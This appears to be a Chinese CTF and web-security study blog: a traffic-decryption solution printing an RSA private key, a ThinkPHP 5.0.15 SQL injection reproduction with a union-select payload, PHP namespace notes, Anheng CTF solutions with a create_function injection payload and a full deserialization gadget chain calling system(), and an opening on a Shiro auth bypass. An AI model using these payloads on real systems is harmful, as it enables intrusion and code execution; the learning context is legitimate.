encode_data = "bGOniQ5nfrSmAW9fgdZSCC+42t5xvQt+B4SVEu6Q8MvC4rPn/OThepmxP6GjDiP1wCUB1EE3sqeXkwdHHMd9wikZhiQnjT9AB3e2RNacCVF+8v/nj/Rv85fSD2Phfc/wsaAjld9Fy8ZJJKz1wPwPY6lTxArMGFtX7W+VW/gzujI="
base64_key = """MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpewO+lqNYuxQh
Qwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7Rfqt7E7Vc+Xx5dYQCoRaysj
Nm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9
nBuXK/CErC754co9cIbaIkCl/sRXAgMBAAECgYBqlSFYXHwfrMmIDJUiv99FzovI
ko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekKsGqndiRwtNSbIi
lU1EqWqfdBmucptnISgDdx+ofWbInTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2l
RXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/g
UiF4akFQx46x0vT1RmcalqUg1Prl7OoKb05Lmwm0XukCQQChv4blpfqVcdz9X6MG
JqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7
iIE/AkEAzyzYfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH
6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZ
kAROHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0Q
F8NRlIw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVWItdBDI
LP0HzUR1/wk5ZFY="""

private_key = RSA.import_key(PRIVATE_KEY.format(base64_key).encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(encode_data), 0)

得到

AES key:7c83bf30a6ad2dc410040d33e1399cf6
HMAC key:a77945b3a56687a39f90683cb24d00c2

然后利用这两个aes密钥对返回的内容进行解密发现读取了flag.txt,于是再去寻找一下返回流量

img

在下条流量中就发现了返回的数据,提取其base64形式,再对其进行解码操作
img

即可拿到flag
img

看了一下大佬的题解,发现自己昨天就是困在套娃代码不知道如何解开的步骤

2021天翼杯(thinkphp5.0.15sql注入漏洞+)

前言:

主要是想练习一下如何在框架下挖漏洞

环境搭建

通过以下命令获取测试环境代码:

composer create-project --prefer-dist topthink/think=5.0.15 tpdemo

composer.json 文件的 require 字段设置成如下:

"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debugapp_trace 。创建数据库信息如下:

create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);

漏洞复现

insert()注入复现

这里直接就去调用insert函数,所以我直接把断点下在这里,往下看数据的变化
数据以数组的形式被传入parsedata进行数据解析

img
在此处直接对输入的数组数据先进行选择,后直接进行拼接
img

img

并且直接对结果进行了一个返回
img
后续直接将该输入拼接在insert语句的后半段造成报错注入:
img
img

select()注入复现

断点我直接搭载前面get这里,然后看他一个值的传入

img

首先从我们传入的数组中取值,并且值得注意的是,这个函数会递归到更深层次的数组中
img
接下来会进入一个过滤,很奇怪的是,在别人复现的源码里,notlike是合起来写的,所以当我们在这里写not like的时候,就可以绕过,但是不知道为什么这里的源码两个都有过滤
img
img
后面继续经过一系列拼接赋值操作,其中select函数中,where内容是可控的

img 有难度应该就是这段数组结果进行转化拼接的,这里介绍一下,我们传入的了一个username[0]那么他就会被拼接在最前面,接下来,我们再传入一个username[1][1\]=%和username\[1\]\[2\]=aaa那么他会被分别拼接到两个`username`后所接入的内容呢,也就是username not like '%' 然后username not like aaa 紧接着如果我们有username\[2\]的话,那么这个也就会被直接被先拼接到username\[1\]\[1\]的后面

imgwherestr的内容将被拼接为以下内容,通过$array的值进行分割后,再加上一个括号

eg:
array[1]=abc;
array[2]=bcd;
login=123;
(abc 123 bcd)

img

img 带回到原查询语句,可以发现这在 img 在mysql中测试 img
payload:
?password=2&username[0]=not like&username[1][0]=%25&username[1][1]=aaa&username[2][0]=) union select 1,2,3%23&username[2][1]=123

https://blog.csdn.net/weixin_45669205/article/details/116464224

PHP框架基础语法学习

前言

刚好最近做的挺多挖链子的题目都有涉及命名空间的知识点,之前都是在一个php文件中进行了链子的挖掘,现在分散到很多文件中,虽然本质是一样的,但是如果没有理解好命名空间的含义,一时半会想要做出来也是有难度的

命名空间

要理解好命名空间的话可以和目录做一个类比,比如说有一个目录为/home他下面有一个foo.txt,那么对于这个foo.txt来说,这个home就是一个命名空间,

命名空间的声明可避免类或函数名重复导致的各种问题。使用namespace可以声明、切换命名空间。

在程序当中,其作用是按照一种虚拟的层次结构组织 PHP 代码,这种层次结构类似操作系统中文件系统的目录结构。

直接举个栗子:一个典型的控制器类定义如下:

namespace app\index\controller;

class Index
{
public function index()
{
return 'index';
}
}

控制器类文件的实际位置是

application\index\controller\Index.php

当控制器的定义为:

namespace app\index\controller;

class Index
{
public function hello()
{
return 'hello,world!';
}

public function data()
{
return ['name'=>'thinkphp','status'=>1];
}

}

那么想要访问不同的路由就要:

http://localhost/index.php/index/Index/hello
http://localhost/index.php/index/Index/data

回来看一下源码要访问下面的内容的路由就为

/index.php/index/index/backdoor

什么是控制器?

控制器就是MVC设计模式中的C(Controller),通常用于读取视图V(View)、完成用户输入以及处理模型数据M(Model)。

按照ThinkPHP的架构设计,所有的URL请求(无论是否采用了路由),最终都会定位到控制器(也许实际的类不一定是控制器类,但也属于广义范畴的控制器)。控制器的层可能有很多,为了便于区分就把通过URL访问的控制器称之为访问控制器(通常意义上我们所说的控制器就是指访问控制器)。

例如我们访问一个URL地址:

http://tp5.com/index/index/hello

实际上访问的是index模块下的Index控制器类的hello方法(在没有定义任何路由的情况下),Index控制器对应的类就是app\index\controller\Index(为什么控制器类名需要这样命名后面命名空间部分会详细描述),完成上面的URL访问,只需要定义如下的控制器类,看起来非常简单:

什么是命名空间

现在来分析下控制器的类名为什么是app\index\controller\Index而不是Index,首先就是要明白命名空间的概念。PHP从5.3版本开始引入命名空间的概念,其主要作用是确保类名不会冲突,因为在一个应用中,出现相同的类名的几率非常之大,并且你很难保证引入的第三方类库不冲突,而有了命名空间后,相当于给自己的类加了一个门牌号一样,一个类的组成包括:

类的组成 = 根命名空间+子命名空间(可选)+类名

app\index\controller\Index,这是ThinkPHP框架制定的规范,app是应用类库的根命名空间,也就是所有的应用类库都应该用app作为根命名空间定义。index是表示模块目录,controller表示的是控制器(确切的说是访问控制器)目录,Index是实际的控制器类名,所以要表示index模块的Index控制器类,使用的就是app\index\controller\Index,如果是admin模块的Index控制器类,使用的就是app\admin\controller\Index类,如果使用的是单一模块的话,那么Index控制器类就变成了app\controller\Index

控制器继承

前面是一个很简单的例子,没有继承任何的类(这样并没有任何不对,5.0的控制器设计如此,事实上也非常高效),控制器可以继承系统内置的控制器基类think\Controller或者应用自己的控制器基类,来扩展更多的功能和方法。

继承系统控制器基类:

<?php
namespace app\index\controller;

use think\Controller;

class Index extends Controller
{
public function hello()
{
return 'hello,world';
}
}

2021安恒9月赛

前言

战队的神仙大佬们都在打TCTF,我看不懂题目但我大为震撼,而我还在打安恒月赛,这大概就是世界的参差吧。。。。

hellounser

拿了一个一血,可能是题目比较简单吧

<?php
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}

class B{
public $func;
public $arg;

public function show(){
$func = $this->func;
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}
}

public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}
}

$a=new A();
$b=new B();
$b->func="create_function";
$b->arg="}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
$a->var=$b;
echo serialize($a);
?>

xxc

发现自己在挖掘这种框架下的链子的时候很不熟练,主要是不会书写命名空间的语法
首先是确定起点——>寻找destruct魔术方法,其中$process可控,并且指向一个函数,寻找__call看看有没有_call方法

namespace Control\State;
class StopHook {
protected $output;
protected $config = ['auto' => 0];
protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
protected $processes;

public function __destruct() {
$this->_exit();
}

private function _exit() {
foreach(array_reverse($this->processes) as $process) {
if (!$process->isRunning) {
continue;
}
$process->stop();
}
}
}

在这个命名空间下有call方法,让其跳转至此,发现一个echo,看看是否有__tostring方法

<?php
namespace Faker;

class MyGenerator {

protected $defaultValue;

public function __call($method, $arg_array) {
echo $this->defaultCall;
return $this->defaultCall;
}

public function __get($property) {
return $this->defaultValue;
}
}

在这个命名空间下可以发现一个tostring,跟进以后,发现其存在一个isset,那么就只需要寻找__isset魔术方法,看看是否能继续跳转

<?php
namespace Method\Func;

class GetFile {

private $flag = true;
private $files = [];

public function __toString() {
return $this->getFiles();
}

public function getFiles() {
if (!$this->flag) return "denied";
$s = "";

if (isset($this->flag->{$this->value})) {
return "test";
}

foreach ($this->files as $file) {
$s += $file->read();
}
return $s;
}
}

在这里会回来执行popup,并且存在一个$s($length),类似于调用一个函数,那么如果将这个函数调用方式改为对象,即可触发__invoke方法

<?php
namespace Method\Func;

class GetDefault {
private $source;

public function popup($length) {
$s = $this->source;
if ($s->flag != "myTest") {
return "denied";
}
return $s($length);
}

public function __isset($property) {
if ($property != "test") {
return false;
}
return !$this->popup(666);
}
}

序列化终点就在这里,调用这个call_user_func实现命令执行

<?php
namespace Method\Func;

class GenerateFile {
public $flag;
protected $buffer;

public function __invoke($param) {
$this->myGen($param);
}

public function myGen($length) {
$s = $this->buffer->read;
call_user_func($this->source->generate, $length);
return $s;
}
}

那么最终构造的链条如下:

<?php
namespace Control\State;
use Faker\MyGenerator;
{
class StopHook
{
protected $output;
protected $config = ['auto' => 0];
protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
protected $processes;

public function __construct()
{
$this->processes=array(new MyGenerator());
}

public function __destruct()
{
$this->_exit();
}

private function _exit()
{
foreach (array_reverse($this->processes) as $process) {
if (!$process->isRunning) {
continue;
}
$process->stop();
}
}
}
include("D:\apache\www\安恒月赛\www\closure/autoload.php");#这边似乎不影响,我在本地需要调用这个文件,但是题目已经自动给你包含了,所以问题不大
$a=new StopHook();
echo base64_encode(serialize($a));
}

namespace Faker;
use Method\Func\GetFile;
{
class MyGenerator
{

protected $defaultValue;

public function __construct()#构建对象时被调用
{
$this->defaultValue = new GetFile();
}

public function __call($method, $arg_array)
{
echo $this->defaultCall;
return $this->defaultCall;
}

public function __get($property)
{
return $this->defaultValue;
}
}
}
namespace Method\Func;
{

class GetFile
{

private $flag = true;
private $files = [];

public function __construct()
{
$this->flag = new GetDefault();
$this->value = "test";
}

public function __toString()
{
return $this->getFiles();
}

public function getFiles()
{
if (!$this->flag) return "denied";
$s = "";

if (isset($this->flag->{$this->value})) {
return "test";
}

foreach ($this->files as $file) {
$s += $file->read();
}
return $s;
}
}
class GetDefault
{
private $source;

public function __construct()
{

$this->source = new GenerateFile();
$this->source->flag = "myTest";
}

public function popup($length)
{
$s = $this->source;
if ($s->flag != "myTest") {
return "denied";
}
return $s($length);
}

public function __isset($property)
{
if ($property != "test") {
return false;
}
return !$this->popup(666);
}
}
class GenerateFile
{
public $flag;
protected $buffer;
public $source;

public function __construct()
{
$function = function () {
system("ls");
};
$a = \Opis\Closure\serialize($function);
$b = unserialize($a);
$this->source->generate = $b;
}

public function __invoke($param)
{
$this->myGen($param);
}

public function myGen($length)
{
$s = $this->buffer->read;
call_user_func($this->source->generate, $length);
return $s;
}
}
}

其中需要说明的是,在每次调用链的时候都要先声明一下所在的命名空间,并且,如果需要调用到其他命名空间的内容的时候,需要使用use,举个例子use Method\Func\GetFile;不然就会报错

有点可惜的是,比赛的时候已经构造出链子了,但是当时没学好命名空间的基本用法,所以就一直打不通哎~

shiro权限验证绕过

SHIRO介绍

shiro是一个java安全框架,用于执行身份验证、授权、密码、和会话管理系统,通常,shiro会和spring等框架一起搭配用于web应用系统的开发

权限验证方式

shiro是基于url的权限验证,配置的url模式使用ant风格模式,ant路径通过通配符支持”?”、”“、”\*“。
对于”?”,其匹配一个字符串。如”/admin?”将匹配”/admin1”、但不匹配”/admin”或者”/admin/“

对于”“,其匹配/admin/abc”,但不匹配/admin/a/b
对于”\
*“,其匹配路径中的零个或多个路径,如“/admin/**”将匹配“/admin/a”或“/admin/a/b”。

常用的拦截器配置

anon拦截器表示匿名访问
authc拦截器表示需要身份认证过后才能访问
拦截器的匹配顺序采取第一次匹配优先的方式,即从头开始第一个匹配的url模式对应的拦截器链

eg:
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin", "anon");
map.put("/admin/*", "authc");
map.put("/manage/*", "authc");

CVE-2020-1957